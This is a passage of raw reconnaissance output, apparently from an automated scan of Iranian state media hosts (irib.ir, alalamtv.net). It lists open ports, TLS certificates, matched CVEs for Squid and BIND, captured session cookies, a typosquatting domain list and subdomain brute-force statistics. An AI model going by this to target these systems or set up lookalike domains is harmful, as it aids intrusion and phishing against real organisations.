6043 Script Info: | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
6044 Script Info: | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
6045 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
6046 Script Info: | Public Key type: rsa
6047 Script Info: | Public Key bits: 2048
6048 Script Info: | Signature Algorithm: sha256WithRSAEncryption
6049 Script Info: | Not valid before: 2017-02-16T07:54:42
6050 Script Info: | Not valid after: 2020-02-16T07:54:42
6051 Script Info: | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
6052 Script Info: |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
6053 Script Info: |_ssl-date: TLS randomness does not represent time
6054 Port: 465/tcp open ssl/smtp syn-ack ttl 39 Postfix smtpd
6055 Script Info: |_smtp-commands: miprxk.irib.ir, PIPELINING, SIZE 35883008, VRFY, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
6056 Script Info: | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
6057 Script Info: | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
6058 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
6059 Script Info: | Public Key type: rsa
6060 Script Info: | Public Key bits: 2048
6061 Script Info: | Signature Algorithm: sha256WithRSAEncryption
6062 Script Info: | Not valid before: 2017-02-16T07:54:42
6063 Script Info: | Not valid after: 2020-02-16T07:54:42
6064 Script Info: | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
6065 Script Info: |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
6066 Script Info: |_ssl-date: TLS randomness does not represent time
6067 Port: 993/tcp open ssl/imap-proxy syn-ack ttl 39 nginx imap proxy
6068 Script Info: |_imap-capabilities: CATENATE QRESYNC completed OK CONDSTORE MULTIAPPEND SEARCHRES AUTH=PLAINA0001 WITHIN CHILDREN I18NLEVEL=1 UNSELECT UIDPLUS THREAD=ORDEREDSUBJECT IDLE NAMESPACE ID SORT SASL-IR QUOTA RIGHTS=ektx BINARY ENABLE ACL ESORT ESEARCH LITERAL+ LIST-EXTENDED IMAP4rev1
6069 Script Info: | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
6070 Script Info: | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
6071 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
6072 Script Info: | Public Key type: rsa
6073 Script Info: | Public Key bits: 2048
6074 Script Info: | Signature Algorithm: sha256WithRSAEncryption
6075 Script Info: | Not valid before: 2017-02-16T07:54:42
6076 Script Info: | Not valid after: 2020-02-16T07:54:42
6077 Script Info: | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
6078 Script Info: |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
6079 Script Info: |_ssl-date: TLS randomness does not represent time
6080 Port: 995/tcp open ssl/pop3 syn-ack ttl 39 Zimbra Collabration Suite pop3d
6081 Script Info: |_pop3-capabilities: XOIP UIDL EXPIRE(31 USER) SASL(PLAIN) USER TOP
6082 Script Info: | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
6083 Script Info: | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
6084 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
6085 Script Info: | Public Key type: rsa
6086 Script Info: | Public Key bits: 2048
6087 Script Info: | Signature Algorithm: sha256WithRSAEncryption
6088 Script Info: | Not valid before: 2017-02-16T07:54:42
6089 Script Info: | Not valid after: 2020-02-16T07:54:42
6090 Script Info: | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
6091 Script Info: |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
6092 Script Info: |_ssl-date: TLS randomness does not represent time
6093 Script Info: Device type: general purpose|WAP
6094 Script Info: Running (JUST GUESSING): Linux 2.6.X|2.4.X|3.X (91%)
6095 Os Info: Host: miprxk.irib.ir
6096 IP: 2.188.3.60
6097 HostName: ns1.alalamtv.net. Type: A
6098 Country: Iran, Islamic Republic of
6099 Is Active: True (reset ttl 64)
6100 Port: 53/tcp open domain? syn-ack ttl 110
6101 Script Info: | fingerprint-strings:
6102 Script Info: | DNSVersionBindReqTCP:
6103 Script Info: | version
6104 Script Info: |_ bind
6105 IP: 54.36.51.175
6106 HostName: ftp.alalamtv.net. Type: A
6107 Country: France
6108 Is Active: True (reset ttl 64)
6109 Port: 21/tcp open ftp syn-ack ttl 51 vsftpd 3.0.2
6110 Port: 80/tcp open http-proxy syn-ack ttl 51 Varnish http accelerator
6111 Script Info: | http-methods:
6112 Script Info: |_ Supported Methods: GET HEAD POST OPTIONS
6113 Script Info: |_http-server-header: Varnish
6114 Script Info: |_http-title: Did not follow redirect to https://www.alalamtv.net/
6115 Port: 443/tcp open ssl/http syn-ack ttl 51 nginx
6116 Script Info: | http-methods:
6117 Script Info: |_ Supported Methods: GET POST
6118 Script Info: |_http-title: Did not follow redirect to https://www.alalamtv.net/
6119 Script Info: | ssl-cert: Subject: commonName=*.alalamtv.net/organizationName=Alalam News Network/stateOrProvinceName=Tehran/countryName=IR
6120 Script Info: | Subject Alternative Name: DNS:*.alalamtv.net, DNS:alalamtv.net
6121 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
6122 Script Info: | Public Key type: rsa
6123 Script Info: | Public Key bits: 2048
6124 Script Info: | Signature Algorithm: sha256WithRSAEncryption
6125 Script Info: | Not valid before: 2019-03-26T17:10:30
6126 Script Info: | Not valid after: 2020-03-25T17:10:30
6127 Script Info: | MD5: e3e1 1754 be6d 2711 c449 5b59 fc4a 68fb
6128 Script Info: |_SHA-1: e926 36e6 cade 1c52 a9c1 bd46 83af d03d fdb9 585c
6129 Script Info: |_ssl-date: TLS randomness does not represent time
6130 Script Info: | tls-alpn:
6131 Script Info: |_ http/1.1
6132 Script Info: | tls-nextprotoneg:
6133 Script Info: |_ http/1.1
6134 Os Info: OS: Unix
6135 IP: 192.99.38.90
6136 HostName: ns3.alalamtv.net Type: NS
6137 HostName: ns502056.ip-192-99-38.net Type: PTR
6138 HostName: www.alalamtv.net. Type: A
6139 HostName: cp.alalamtv.net. Type: A
6140 Country: Canada
6141 Is Active: True (reset ttl 64)
6142 Port: 21/tcp open ftp syn-ack ttl 56 vsftpd 3.0.2
6143 Port: 22/tcp open http-proxy syn-ack ttl 56 Squid http proxy 3.5.20
6144 Script Info: |_http-server-header: squid/3.5.20
6145 Script Info: |_http-title: ERROR: The requested URL could not be retrieved
6146 Script Info: |_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
6147 Script Info: | vulners:
6148 Script Info: | cpe:/a:squid-cache:squid:3.5.20:
6149 Script Info: | CVE-2019-12525 7.5 https://vulners.com/cve/CVE-2019-12525
6150 Script Info: | CVE-2018-1000027 5.0 https://vulners.com/cve/CVE-2018-1000027
6151 Script Info: | CVE-2018-1000024 5.0 https://vulners.com/cve/CVE-2018-1000024
6152 Script Info: | CVE-2016-10003 5.0 https://vulners.com/cve/CVE-2016-10003
6153 Script Info: | CVE-2016-10002 5.0 https://vulners.com/cve/CVE-2016-10002
6154 Script Info: | CVE-2019-12529 4.3 https://vulners.com/cve/CVE-2019-12529
6155 Script Info: | CVE-2018-19132 4.3 https://vulners.com/cve/CVE-2018-19132
6156 Script Info: |_ CVE-2018-19131 4.3 https://vulners.com/cve/CVE-2018-19131
6157 Port: 53/tcp open domain syn-ack ttl 56 ISC BIND 9.9.4 (RedHat Enterprise Linux 7)
6158 Script Info: | dns-nsid:
6159 Script Info: |_ bind.version: 9.9.4-RedHat-9.9.4-61.el7_5.1
6160 Script Info: | vulners:
6161 Script Info: | cpe:/a:isc:bind:9.9.4:
6162 Script Info: | CVE-2015-4620 7.8 https://vulners.com/cve/CVE-2015-4620
6163 Script Info: | CVE-2014-8500 7.8 https://vulners.com/cve/CVE-2014-8500
6164 Script Info: | CVE-2017-3141 7.2 https://vulners.com/cve/CVE-2017-3141
6165 Script Info: | CVE-2015-8461 7.1 https://vulners.com/cve/CVE-2015-8461
6166 Script Info: | CVE-2013-6230 6.8 https://vulners.com/cve/CVE-2013-6230
6167 Script Info: | CVE-2015-1349 5.4 https://vulners.com/cve/CVE-2015-1349
6168 Script Info: | CVE-2018-5740 5.0 https://vulners.com/cve/CVE-2018-5740
6169 Script Info: | CVE-2017-3145 5.0 https://vulners.com/cve/CVE-2017-3145
6170 Script Info: | CVE-2016-9131 5.0 https://vulners.com/cve/CVE-2016-9131
6171 Script Info: | CVE-2016-8864 5.0 https://vulners.com/cve/CVE-2016-8864
6172 Script Info: | CVE-2016-1286 5.0 https://vulners.com/cve/CVE-2016-1286
6173 Script Info: | CVE-2015-8000 5.0 https://vulners.com/cve/CVE-2015-8000
6174 Script Info: | CVE-2019-6465 4.3 https://vulners.com/cve/CVE-2019-6465
6175 Script Info: | CVE-2018-5743 4.3 https://vulners.com/cve/CVE-2018-5743
6176 Script Info: | CVE-2018-5742 4.3 https://vulners.com/cve/CVE-2018-5742
6177 Script Info: | CVE-2017-3143 4.3 https://vulners.com/cve/CVE-2017-3143
6178 Script Info: | CVE-2017-3142 4.3 https://vulners.com/cve/CVE-2017-3142
6179 Script Info: | CVE-2017-3136 4.3 https://vulners.com/cve/CVE-2017-3136
6180 Script Info: | CVE-2016-2775 4.3 https://vulners.com/cve/CVE-2016-2775
6181 Script Info: | CVE-2016-1285 4.3 https://vulners.com/cve/CVE-2016-1285
6182 Script Info: | CVE-2018-5741 4.0 https://vulners.com/cve/CVE-2018-5741
6183 Script Info: | CVE-2016-6170 4.0 https://vulners.com/cve/CVE-2016-6170
6184 Script Info: | CVE-2018-5745 3.5 https://vulners.com/cve/CVE-2018-5745
6185 Script Info: |_ CVE-2014-0591 2.6 https://vulners.com/cve/CVE-2014-0591
6186 Port: 80/tcp open http-proxy syn-ack ttl 56 Varnish http accelerator
6187 Script Info: | http-methods:
6188 Script Info: |_ Supported Methods: GET HEAD POST OPTIONS
6189 Script Info: |_http-open-proxy: Proxy might be redirecting requests
6190 Script Info: |_http-server-header: Varnish
6191 Script Info: |_http-title: Did not follow redirect to https://www.alalamtv.net/
6192 Port: 443/tcp open ssl/http syn-ack ttl 56 nginx
6193 Script Info: | http-methods:
6194 Script Info: |_ Supported Methods: GET HEAD POST OPTIONS
6195 Script Info: |_http-title: Did not follow redirect to https://www.alalamtv.net/
6196 Script Info: | ssl-cert: Subject: commonName=*.alalamtv.net/organizationName=Alalam News Network/stateOrProvinceName=Tehran/countryName=IR
6197 Script Info: | Subject Alternative Name: DNS:*.alalamtv.net, DNS:alalamtv.net
6198 Script Info: | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
6199 Script Info: | Public Key type: rsa
6200 Script Info: | Public Key bits: 2048
6201 Script Info: | Signature Algorithm: sha256WithRSAEncryption
6202 Script Info: | Not valid before: 2019-03-26T17:10:30
6203 Script Info: | Not valid after: 2020-03-25T17:10:30
6204 Script Info: | MD5: e3e1 1754 be6d 2711 c449 5b59 fc4a 68fb
6205 Script Info: |_SHA-1: e926 36e6 cade 1c52 a9c1 bd46 83af d03d fdb9 585c
6206 Script Info: |_ssl-date: TLS randomness does not represent time
6207 Script Info: | tls-alpn:
6208 Script Info: |_ http/1.1
6209 Script Info: | tls-nextprotoneg:
6210 Script Info: |_ http/1.1
6211 Port: 8080/tcp open http-proxy syn-ack ttl 56
6212 Script Info: | fingerprint-strings:
6213 Script Info: | FourOhFourRequest:
6214 Script Info: | HTTP/1.1 302 Found
6215 Script Info: | X-Powered-By: fstv monitoring 1.0.2
6216 Script Info: | Location: /
6217 Script Info: | Vary: Accept
6218 Script Info: | Content-Type: text/plain; charset=utf-8
6219 Script Info: | Content-Length: 23
6220 Script Info: | set-cookie: connect.sid=s%3AEwS5CarzRiCy_1HMDTi54jc1XxKn0luG.e%2BPspuwYyjyjyKtbFFNesbEzIzoatfYOQgi7oDeXJ%2FQ; Path=/; HttpOnly
6221 Script Info: | Date: Mon, 25 Nov 2019 02:25:12 GMT
6222 Script Info: | Connection: close
6223 Script Info: | Found. Redirecting to /
6224 Script Info: | GetRequest:
6225 Script Info: | HTTP/1.1 401 Unauthorized
6226 Script Info: | X-Powered-By: fstv monitoring 1.0.2
6227 Script Info: | Content-Type: text/plain; charset=utf-8
6228 Script Info: | Content-Length: 12
6229 Script Info: | ETag: W/"c-4G0bpw8TMen5oRPML4h9Pw"
6230 Script Info: | set-cookie: connect.sid=s%3As7x40c3givm0M71zESZyBkOOVx-W0V1S.hDocBoGiZd61P3us%2BWOZaP5d2Jrv8dgYauY2Q4xB6GA; Path=/; HttpOnly
6231 Script Info: | Date: Mon, 25 Nov 2019 02:25:12 GMT
6232 Script Info: | Connection: close
6233 Script Info: | Unauthorized
6234 Script Info: | HTTPOptions:
6235 Script Info: | HTTP/1.1 200 OK
6236 Script Info: | X-Powered-By: fstv monitoring 1.0.2
6237 Script Info: | Allow: GET,HEAD
6238 Script Info: | Content-Type: text/html; charset=utf-8
6239 Script Info: | Content-Length: 8
6240 Script Info: | ETag: W/"8-8ww6QOmj5lyGjHVKXelZGQ"
6241 Script Info: | set-cookie: connect.sid=s%3AY3fpLpO6XEAVqa3uEmIQ1FjoQFKig36e.LHRn2oabuFF48ZwqYxKh5blBAOSAvvmSb1hROcjTMII; Path=/; HttpOnly
6242 Script Info: | Date: Mon, 25 Nov 2019 02:25:12 GMT
6243 Script Info: | Connection: close
6244 Script Info: |_ GET,HEAD
6245 Script Info: | http-auth:
6246 Script Info: | HTTP/1.1 401 Unauthorized\x0D
6247 Script Info: |_ Server returned status 401 but no WWW-Authenticate header.
6248 Script Info: | http-methods:
6249 Script Info: |_ Supported Methods: GET HEAD POST OPTIONS
6250 Script Info: |_http-title: Site doesn't have a title (text/plain; charset=utf-8).
6251 Os Info: OSs: Unix, Linux; CPE: cpe:/o:redhat:enterprise_linux:7
6252 IP: 77.36.164.112
6253 HostName: webmail.alalamtv.net. Type: A
6254 Country: Iran, Islamic Republic of
6255 Is Active: True (reset ttl 64)
6256#######################################################################################################################################
6257URLCrazy Domain Report
6258Domain : www.alalamtv.net
6259Keyboard : qwerty
6260At : 2019-11-24 22:18:10 -0500
6261
6262# Please wait. 150 hostnames to process
6263
6264Typo Type Typo DNS-A CC-A DNS-MX Extn
6265--------------------------------------------------------------------------------------------------------
6266Character Omission ww.alalamtv.net ? net
6267Character Omission www.aalamtv.net ? net
6268Character Omission www.alaamtv.net ? net
6269Character Omission www.alalamt.net ? net
6270Character Omission www.alalamtv.ne ? ne
6271Character Omission www.alalamv.net ? net
6272Character Omission www.alalatv.net ? net
6273Character Omission www.alalmtv.net ? net
6274Character Omission www.allamtv.net ? net
6275Character Omission www.lalamtv.net ? net
6276Character Omission wwwalalamtv.net ? net
6277Character Repeat www.aalalamtv.net ? net
6278Character Repeat www.alaalamtv.net ? net
6279Character Repeat www.alalaamtv.net ? net
6280Character Repeat www.alalammtv.net ? net
6281Character Repeat www.alalamttv.net ? net
6282Character Repeat www.alalamtvv.net ? net
6283Character Repeat www.alallamtv.net ? net
6284Character Repeat www.allalamtv.net ? net
6285Character Repeat wwww.alalamtv.net ? net
6286Character Swap ww.walalamtv.net ? net
6287Character Swap www.aallamtv.net ? net
6288Character Swap www.alaalmtv.net ? net
6289Character Swap www.alalamvt.net ? net
6290Character Swap www.alalatmv.net ? net
6291Character Swap www.alalmatv.net ? net
6292Character Swap www.allaamtv.net ? net
6293Character Swap www.laalamtv.net ? net
6294Character Swap wwwa.lalamtv.net ? net
6295Character Replacement eww.alalamtv.net ? net
6296Character Replacement qww.alalamtv.net ? net
6297Character Replacement wew.alalamtv.net ? net
6298Character Replacement wqw.alalamtv.net ? net
6299Character Replacement wwe.alalamtv.net ? net
6300Character Replacement wwq.alalamtv.net ? net
6301Character Replacement www.akalamtv.net ? net
6302Character Replacement www.alakamtv.net ? net
6303Character Replacement www.alalamrv.net ? net
6304Character Replacement www.alalamtb.net ? net
6305Character Replacement www.alalamtc.net ? net
6306Character Replacement www.alalamyv.net ? net
6307Character Replacement www.alalantv.net ? net
6308Character Replacement www.alalsmtv.net ? net
6309Character Replacement www.alslamtv.net ? net
6310Character Replacement www.slalamtv.net ? net
6311Double Character Replacement eew.alalamtv.net ? net
6312Double Character Replacement qqw.alalamtv.net ? net
6313Double Character Replacement wee.alalamtv.net ? net
6314Double Character Replacement wqq.alalamtv.net ? net
6315Character Insertion weww.alalamtv.net ? net
6316Character Insertion wqww.alalamtv.net ? net
6317Character Insertion wwew.alalamtv.net ? net
6318Character Insertion wwqw.alalamtv.net ? net
6319Character Insertion www.alalamntv.net ? net
6320Character Insertion www.alalamtrv.net ? net
6321Character Insertion www.alalamtvb.net ? net
6322Character Insertion www.alalamtvc.net ? net
6323Character Insertion www.alalamtyv.net ? net
6324Character Insertion www.alalasmtv.net ? net
6325Character Insertion www.alalkamtv.net ? net
6326Character Insertion www.alaslamtv.net ? net
6327Character Insertion www.alkalamtv.net ? net
6328Character Insertion www.aslalamtv.net ? net
6329Character Insertion wwwe.alalamtv.net ? net
6330Character Insertion wwwq.alalamtv.net ? net
6331Missing Dot wwwwww.alalamtv.net ? net
6332Singular or Pluralise alalamtv.net 192.99.38.90 memxf.irib.ir net
6333Singular or Pluralise alalamtvs.net ? net
6334Vowel Swap www.elelemtv.net ? net
6335Vowel Swap www.ililimtv.net ? net
6336Vowel Swap www.ololomtv.net ? net
6337Vowel Swap www.ululumtv.net ? net
6338Homophones www.alalambtv.net ? net
6339Bit Flipping 7ww.alalamtv.net ? net
6340Bit Flipping gww.alalamtv.net ? net
6341Bit Flipping sww.alalamtv.net ? net
6342Bit Flipping uww.alalamtv.net ? net
6343Bit Flipping vww.alalamtv.net ? net
6344Bit Flipping w7w.alalamtv.net ? net
6345Bit Flipping wgw.alalamtv.net ? net
6346Bit Flipping wsw.alalamtv.net ? net
6347Bit Flipping wuw.alalamtv.net ? net
6348Bit Flipping wvw.alalamtv.net ? net
6349Bit Flipping ww7.alalamtv.net ? net
6350Bit Flipping wwg.alalamtv.net ? net
6351Bit Flipping wws.alalamtv.net ? net
6352Bit Flipping wwu.alalamtv.net ? net
6353Bit Flipping wwv.alalamtv.net ? net
6354Bit Flipping www.adalamtv.net ? net
6355Bit Flipping www.ahalamtv.net ? net
6356Bit Flipping www.aladamtv.net ? net
6357Bit Flipping www.alahamtv.net ? net
6358Bit Flipping www.alala-tv.net ? net
6359Bit Flipping www.alalaetv.net ? net
6360Bit Flipping www.alalaitv.net ? net
6361Bit Flipping www.alalaltv.net ? net
6362Bit Flipping www.alalam4v.net ? net
6363Bit Flipping www.alalamdv.net ? net
6364Bit Flipping www.alalampv.net ? net
6365Bit Flipping www.alalamt6.net ? net
6366Bit Flipping www.alalamtf.net ? net
6367Bit Flipping www.alalamtr.net ? net
6368Bit Flipping www.alalamtt.net ? net
6369Bit Flipping www.alalamtw.net ? net
6370Bit Flipping www.alalamuv.net ? net
6371Bit Flipping www.alalamvv.net ? net
6372Bit Flipping www.alalaotv.net ? net
6373Bit Flipping www.alalcmtv.net ? net
6374Bit Flipping www.alalemtv.net ? net
6375Bit Flipping www.alalimtv.net ? net
6376Bit Flipping www.alalqmtv.net ? net
6377Bit Flipping www.alamamtv.net ? net
6378Bit Flipping www.alanamtv.net ? net
6379Bit Flipping www.alclamtv.net ? net
6380Bit Flipping www.alelamtv.net ? net
6381Bit Flipping www.alilamtv.net ? net
6382Bit Flipping www.alqlamtv.net ? net
6383Bit Flipping www.amalamtv.net ? net
6384Bit Flipping www.analamtv.net ? net
6385Bit Flipping www.clalamtv.net ? net
6386Bit Flipping www.elalamtv.net ? net
6387Bit Flipping www.ilalamtv.net ? net
6388Bit Flipping www.qlalamtv.net ? net
6389Bit Flipping wwwnalalamtv.net ? net
6390Homoglyphs vvvvvv.alalamtv.net ? net
6391Homoglyphs vvvvw.alalamtv.net ? net
6392Homoglyphs vvwvv.alalamtv.net ? net
6393Homoglyphs vvww.alalamtv.net ? net
6394Homoglyphs wvvvv.alalamtv.net ? net
6395Homoglyphs wvvw.alalamtv.net ? net
6396Homoglyphs wwvv.alalamtv.net ? net
6397Homoglyphs www.a1a1amtv.net ? net
6398Homoglyphs www.a1alamtv.net ? net
6399Homoglyphs www.ala1amtv.net ? net
6400Homoglyphs www.alalarntv.net ? net
6401Wrong TLD alalamtv.ca ? ca
6402Wrong TLD alalamtv.ch ? ch
6403Wrong TLD alalamtv.com 108.61.19.12 US,UNITED STATES com
6404Wrong TLD alalamtv.de ? de
6405Wrong TLD alalamtv.edu ? edu
6406Wrong TLD alalamtv.es ? es
6407Wrong TLD alalamtv.fr ? fr
6408Wrong TLD alalamtv.it ? it
6409Wrong TLD alalamtv.jp ? jp
6410Wrong TLD alalamtv.nl ? nl
6411Wrong TLD alalamtv.no ? no
6412Wrong TLD alalamtv.org ? org
6413Wrong TLD alalamtv.ru ? ru
6414Wrong TLD alalamtv.se ? se
6415Wrong TLD alalamtv.us ? us
6416######################################################################################################################################
6417Privileges have been dropped to "nobody:nogroup" for security reasons.
6418
6419Processed queries: 0
6420Received packets: 0
6421Progress: 0.00% (00 h 00 min 00 sec / 00 h 00 min 00 sec)
6422Current incoming rate: 0 pps, average: 0 pps
6423Current success rate: 0 pps, average: 0 pps
6424Finished total: 0, success: 0 (0.00%)
6425Mismatched domains: 0 (0.00%), IDs: 0 (0.00%)
6426Failures: 0: 0.00%, 1: 0.00%, 2: 0.00%, 3: 0.00%, 4: 0.00%, 5: 0.00%, 6: 0.00%, 7: 0.00%, 8: 0.00%, 9: 0.00%, 10: 0.00%, 11: 0.00%, 12: 0.00%, 13: 0.00%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.00%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6427Response: | Success: | Total:
6428OK: | 0 ( 0.00%) | 0 ( 0.00%)
6429NXDOMAIN: | 0 ( 0.00%) | 0 ( 0.00%)
6430SERVFAIL: | 0 ( 0.00%) | 0 ( 0.00%)
6431REFUSED: | 0 ( 0.00%) | 0 ( 0.00%)
6432FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6433
6434
6435
6436Processed queries: 1919
6437Received packets: 1940
6438Progress: 100.00% (00 h 00 min 01 sec / 00 h 00 min 01 sec)
6439Current incoming rate: 1937 pps, average: 1937 pps
6440Current success rate: 1259 pps, average: 1259 pps
6441Finished total: 1261, success: 1261 (100.00%)
6442Mismatched domains: 99 (5.15%), IDs: 0 (0.00%)
6443Failures: 0: 47.34%, 1: 76.53%, 2: 24.19%, 3: 4.12%, 4: 0.00%, 5: 0.00%, 6: 0.00%, 7: 0.00%, 8: 0.00%, 9: 0.00%, 10: 0.00%, 11: 0.00%, 12: 0.00%, 13: 0.00%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.00%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6444Response: | Success: | Total:
6445OK: | 125 ( 9.91%) | 137 ( 7.12%)
6446NXDOMAIN: | 1079 ( 85.57%) | 1133 ( 58.92%)
6447SERVFAIL: | 57 ( 4.52%) | 63 ( 3.28%)
6448REFUSED: | 0 ( 0.00%) | 590 ( 30.68%)
6449FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6450
6451
6452
6453Processed queries: 1919
6454Received packets: 2754
6455Progress: 100.00% (00 h 00 min 02 sec / 00 h 00 min 02 sec)
6456Current incoming rate: 812 pps, average: 1374 pps
6457Current success rate: 482 pps, average: 870 pps
6458Finished total: 1744, success: 1744 (100.00%)
6459Mismatched domains: 249 (9.12%), IDs: 0 (0.00%)
6460Failures: 0: 34.23%, 1: 34.06%, 2: 17.78%, 3: 12.90%, 4: 8.31%, 5: 2.12%, 6: 0.63%, 7: 0.00%, 8: 0.00%, 9: 0.00%, 10: 0.00%, 11: 0.00%, 12: 0.00%, 13: 0.00%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.00%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6461Response: | Success: | Total:
6462OK: | 160 ( 9.17%) | 182 ( 6.67%)
6463NXDOMAIN: | 1509 ( 86.53%) | 1675 ( 61.38%)
6464SERVFAIL: | 75 ( 4.30%) | 83 ( 3.04%)
6465REFUSED: | 0 ( 0.00%) | 789 ( 28.91%)
6466FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6467
6468
6469
6470Processed queries: 1919
6471Received packets: 2957
6472Progress: 100.00% (00 h 00 min 03 sec / 00 h 00 min 03 sec)
6473Current incoming rate: 202 pps, average: 983 pps
6474Current success rate: 133 pps, average: 624 pps
6475Finished total: 1878, success: 1878 (100.00%)
6476Mismatched domains: 277 (9.45%), IDs: 0 (0.00%)
6477Failures: 0: 31.79%, 1: 31.63%, 2: 16.51%, 3: 9.32%, 4: 5.32%, 5: 3.83%, 6: 2.61%, 7: 1.01%, 8: 0.16%, 9: 0.00%, 10: 0.00%, 11: 0.00%, 12: 0.00%, 13: 0.00%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.00%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6478Response: | Success: | Total:
6479OK: | 165 ( 8.79%) | 187 ( 6.38%)
6480NXDOMAIN: | 1632 ( 86.90%) | 1819 ( 62.06%)
6481SERVFAIL: | 81 ( 4.31%) | 90 ( 3.07%)
6482REFUSED: | 0 ( 0.00%) | 835 ( 28.49%)
6483FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6484
6485
6486
6487Processed queries: 1919
6488Received packets: 3006
6489Progress: 100.00% (00 h 00 min 04 sec / 00 h 00 min 04 sec)
6490Current incoming rate: 48 pps, average: 750 pps
6491Current success rate: 28 pps, average: 475 pps
6492Finished total: 1907, success: 1907 (100.00%)
6493Mismatched domains: 286 (9.60%), IDs: 0 (0.00%)
6494Failures: 0: 31.31%, 1: 31.15%, 2: 16.26%, 3: 9.18%, 4: 5.24%, 5: 3.30%, 6: 1.84%, 7: 1.36%, 8: 0.52%, 9: 0.37%, 10: 0.00%, 11: 0.10%, 12: 0.00%, 13: 0.00%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.00%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6495Response: | Success: | Total:
6496OK: | 166 ( 8.70%) | 188 ( 6.31%)
6497NXDOMAIN: | 1660 ( 87.05%) | 1854 ( 62.21%)
6498SERVFAIL: | 81 ( 4.25%) | 90 ( 3.02%)
6499REFUSED: | 0 ( 0.00%) | 848 ( 28.46%)
